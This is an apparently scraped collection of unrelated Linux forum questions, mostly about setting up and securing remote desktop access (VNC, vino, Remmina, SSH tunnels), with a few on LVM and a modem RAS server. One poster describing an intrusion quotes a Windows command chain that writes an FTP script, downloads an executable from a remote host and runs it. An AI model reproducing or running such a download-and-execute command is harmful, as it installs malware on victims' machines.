I've just been tasked with making our company's workstations available from remote locations over our internet connection. While it seems simple in concept, I know there will be several issues I'll have to deal with. What I'd like to know is if anyone has recommendations as far as software to use and methods for securing connections. I'd like to have communications encrypted, which last I heard OpenVNC couldn't do (maybe that's not the case?). Also, I'm not really sure how the interactions between windows clients vs. my linux server and the remote connections should be handled. Would I need a separate instance of say, OpenVNC, on each client that I wanted to be allowed remote access?
I was looking for:how to access my Linux machine(OpenSuse 11.3) that is being hosted at my hoster company from my home Win Pc, I found TightVNC , but I am confused, should I install it on both systems ( viewer and server) ? .. what about the VirtualBox , can i Access with that tool or it is only for mounting the local Virtual Machines?
I am at a loss. I can not access my work remote desktop via the terminal server client on my wired box running Ubuntu 10.10. My wireless laptop is able to connect right away once I established the VPN connection. The VPN connection is established on both boxes with no problems.
When I tried the Terminal Server Client on my wired boxed, it says it can not establish a connection. Yet my wireless box gets connected immediately!
I check the /etc/dhcp3/dhclient.conf and the /etc/resolv.conf to see if there were any differences, but they are essentially the same. When I have the vpnc connection, they both recognize it and I am able to ping the IP address shown when I do a "ifconfig" on the terminal.
What can be the problem? Anything I need to configure on a wired computer versus a wireless one? What else can I check?
Running Ubuntu 9.10. In the Remote Desktop config dialog I get: "Your desktop is only reachable over the local network. Others can access your computer using the address 127.0.0.1 or tabatha.local." I understand this means only the loopback ip address is available. All my other machines show their true local ip address (e.g., 192.168.1.104) in this dialog. Thus I cannot log on to this desktop from other machines.
When I try to do a remote logon from another Ubuntu 9.10 box (or from an XP box using a VNC viewer), I get: "Connection to 192.168.1.102 has been closed." What steps are needed to make this machine show its actual ip address? All file sharing between the various machines is working properly and all windows shares back and forth between XP and 'nix, and among the the vaious XP boxes and linux boxes are available as designed.
my g/f was able to access her jobs computers from home in Windows. she'd go start->program->access->connect to remote desktop... (or something like that) in any event, i've found some programs in Fedora 14 that say they'd do the same, however i can't get it to work. in "remote desktop viewer" i'm trying to use 'VNC' protocol,and trying to put the ip in the first of the "Host" lines.
now, there might be another issue, is it possible she need more info than the ones she got in order to use LINUX remote desktop? she has (what she has written down as) Computer # 126.96.36.199 and then ';' and 4 additional numbers, so (for the sake of the example) computer#: 188.8.131.52;2222 she has a 'username' and a 'password'.
Weird thing going on on my headless lenny box. The shared desktop won't let me in.I am trying to connect with my Mac, ssh is ok. I can connect, start vino-preferences, change everything I want to change, and still it won't let me in. both Mac Ctrl-k to vnc://lenny and Chicken of the VNC won't connect.
New Fedora 13 Install. I have Remote Desktop Enabled. I can access the machine from itself but not others on the network. I stopped the firewall, that did not work. I looked in hosts.allow and hosts.deny, no entries there. The vino server is running. There is nothing in /varlog/messages, dmesg or /var/log/secure, at least nothing I could find related to vino. What else can I check? The conf file in my home folder looks exactly like one on another machine where it is working. forgot to add the message I get when I try it from a remote machine is "The connection to host 192.168.1.100 was closed". So it appears something is actively rejecting the login.
I use a hosted machine for work which has vnc and apache servers running. To work on a shell, I connect to the VNC server, and to access files I host them using apache and open them from my browser. It would be great if I can access my shells via my browser itself instead of using VNC or command prompt.
I am looking for an end result like this: [URL].. What are my options? PS: I already tried [URL]..but this uses a java applet to run and does not do it in browser itself.
I just set up Remmina the other day to be able to access my desktop remotely. However, I can only do this when I am connected to my home network. Is there a way to set up Remmina so that I can connect to my desktop remotely from outside my home network?
They are running Kubuntu. How to access their desktop from my home or office using Internet. Logically I remembered about kfrb and X11-vnc. But both of them need some approach to provide security. I'd like if someone could give me some pieces of advice on choosing the simplest and better approach:
To secure kfrb or x11-vnc is simpler or better to mount a vpn or to use an ssh tunnel? Is there any other solution? My pearents ISP use DHCP, so I think it would require some service like dyndns or similar...
I have 4 boxes on a local network: 2 with XP only, 1 with Ubuntu 9.10 only, and 1 with both. All boxes can share folders, set up with share-admin instead of using Nautilus right-click properties for each folder. I can see and control the remote desktops on all boxes, to all other boxes, from all other boxes,with one exception: I can only access the XP desktop on the dual boot box, not the Ubuntu desktop. When I try I get: "Connection to host 192.168.1.102 was closed." I am refused access to the Ubuntu desktop in this manner from both the other Ubuntu machine, and from both XP machines.
My setups are basically plain vanilla with routine installs of Ubuntu 9.10. On the XP machines I am using TightVNC on the XP machines to view both other XP desktops, and the Ubuntu desktop that is accessible. On both Ubuntu setups I am using (I suppose) vino and vinagre, and have completely re-installed what I think is the relevant software. There is no firewall running on the Ubuntu dual boot, when I check ufw. For reasons I cannot determine the inaccessible Ubuntu desktop is not providing its own address but instead in the Remote Desktop config dialogue it identifies itself as 184.108.40.206 which I think is the loopback id. I know so little about this sort of networking that I am not giving all relevant info, but I still thought I'd try.
I have just installed linux 10.10, I want to use vnc on my another computer to access my desktop using remote access. When I navigate to Remote esktop Preferences. Your desktop is only reachable over the local network. Others can access your computer using the address localhost, no ip address. this is not working.
I was sitting watching a TV show on the internet (streaming from channel 4) and all of a sudden I get a request from an unknown IP address, outside of my local network attempting to access my ubuntu desktop, I obviously declined straight away and stupidly didn't take note of the IP I've checked my firewall settings and no ports are being forwarded, everything is as it should be. I am running Ubuntu 11.04, and a little bit concerned. As of now I have completely disabled remote desktop on my laptop.
I am having the following problems:I have tried installing vnctightserver on Ubuntu and then installing the viewer on my windows machine but when I try to connect it rejects the connection....I need to remotely access the ubuntu-desktopn my ubuntu server LTS 10.04..... I have tried a number of guides but none are working for me....I have a firewall installed (iptables) but the neccesary ports have been opened up but my server still rejects incoming vnc connections.On a side note I do not have physical access to the server so all setup needs to be done via SSH...
How can I get remote desktop access ignoring firewalls and NATs? I succeeded in creating a remote desktop session within my home LAN.
Though I configured my router to pass through port 5900, and learned the correct external IP, I am unable to create a remote desktop session inbound to my machine, nor outbound to a machine on a remote network (with static IP).
This is caused by various network complications like NATs and firewalls.
Fogcreek's Copilot or Skype on Windows manage to connect with no network reconfiguration.
Is there some remote desktop alternative that "just works"?
My linux PC is connected at work and I was able to configure the IP to connect to the network. I need a way to access the linux computer from other windows PC in the office via shared folders and or remote desktop. I am stumbling upon "VNC" on google.
Setting up desktop (9.04) behind router for remote access by latptop (9.10) I am setting up desktop (9.04) behind router for remote access by latptop (9.10). Rationale: All of my files are on my desktop HD, but I am often out of my home needing to work on my files. It is becoming labour intensive to keep track of the files I make/change and try to copy them on my non-connected desktop/laptop.
Dream: Able to remote access and modify my desktop files from my laptop (while the files remain on the desktop). Request: A simple, GUI, basic, non-technical guide how to set it up!
What I know: 1.I was going to use the 'Remote Desktop' VNC connection under System->Preferences. However, if I understand this correctly, this only secures my computer (i.e. Locks the front door of my desktop) and the data streamed between them is not encrypted.[URL]..
2.Then I need to set up my router to accept the connection from my laptop.
3.Then I will need to use SSH to secure the info sent between them. This is the bit I don't really have a good grip on.
I was running ubuntu 10.04 on a school laptop connected to the network. I was editing a file in emacs on an ssh connection to a school server when all of a sudden I see the remote desktop graphic (a thing that looks like a widescreen monitor) pop up in the top panel. A second later it announces that someone else has connected to my computer with 'ffff:someip'. I'm not sure of the specifics because I was too shocked. I do remember it started with some number of f's before a : The hacker then started typing Code: %systemroot%system32cmd.exe del eq&e
I promptly yanked out the ethernet cable before anything else could be typed. I then went in and changed the Remote Desktop preferences to not allow anyone in. I'm guessing that I cut the hacker off from fully entering in a command similar to this: Code: %systemroot%system32cmd.exe del eq&echo open 0.0.0.0 13643 >> eq&echo user 13302 30046 >> eq &echo get mswinsvcr.exe >> eq &echo quit >> eq &ftp -n -s:eq &mswinsvcr.exe &del eq which I found here: [URL]
How concerned should I be? It appears to be a windows hack. Did I prevent any damage from occurring? Is Remote Desktop really that easy to connect to another persons computer? I know this question is bait in a way. On my home machines I only allow vnc via ssh tunnels and that is through a router with proper port forwarding for the ssh ports and very few other ports forwarded. Such an attack has never happened to me at home. Is this possibly due to my setup or was I just lucky no one picked my computer to hack? So is the ssh tunnel & port forwarding a sufficiently safe setup or am I still at risk?
What degree of protection does the ssh tunnel and port forwarding provide? What else should I do to make my current home setup even more secure? The text I wrote above was the only text typed into the terminal. Because the attack was over Remote Desktop, what is the possibility that it was a bot? The text appeared slow enough for me to think that there was a person rather than a machine/program typing in the text. Does the Remote Desktop connection in a way provide a level of abstraction that prevents scripts as commands must be typed in through the Remote Desktop connection (vs. a ssh connection where a script might more easily be uploaded and executed)?
In the end I'm curious as to what else might have been accessed over the connection or if it was probably just restricted to the hacker attempting to run some windows commands? Since they connected via Remote Desktop and I saw the connection pop up and the typing begin in my terminal, did I see everything that the hacker attempted to perform? Am I correct in my research in finding that there is no log for Remote Desktop connections and therefore I can't find the ip they were connecting from? However, I would like to use this as a wake up call to myself to prevent unwanted access on my home computers.
I am a novice in the world of cloud and recently managed to configure Ubuntu 9.04 Cloud (using kvm, eucalyptus and other packages) successfully at my college for my project work. The problem is that i can only manage to view the running instance using rdesktop from any remote machine. Is there any way to do this other than rdesktop/logs? Secondly, I want to develop a application on the lines of google docs as a part of my project. Is it possible to install apache server on this virtual instance, and host a website? How will the client access this website? Which frameworks would be required or do I have to develop one?
I've been using LVMs on some of my Linux servers for years without fully "getting" them. Doing a lot of things by rote. As I setup a new RAID though, I realize I don't have to be so rigid. I inherited a mission critical server with five independent disks
Mainly because the 1 to 1 correspondence is easy for me to understand, and what I'm used to. But I realize it doesn't have to be that way, and I could have one VG with all the LVMs as parts of it, i.e.
Is there any advantage to one way over the other? Would using one VG with multiple LVs be kind of like "putting all my eggs in one basket"? Do more VGs and LVs introduce unwanted overhead into the LV Mgr that should be frowned upon? If both methods are equal, I go with the method1. Just more clear to me. But now that I understand the second, I could go that way, if there's a compelling reason.
how i have a machine installed Red Hat Enterprise Linux Server release 5.1 with 2 modem (usb & com port) still i want to configure RAS server so some pple able to connect my server and send me some files.
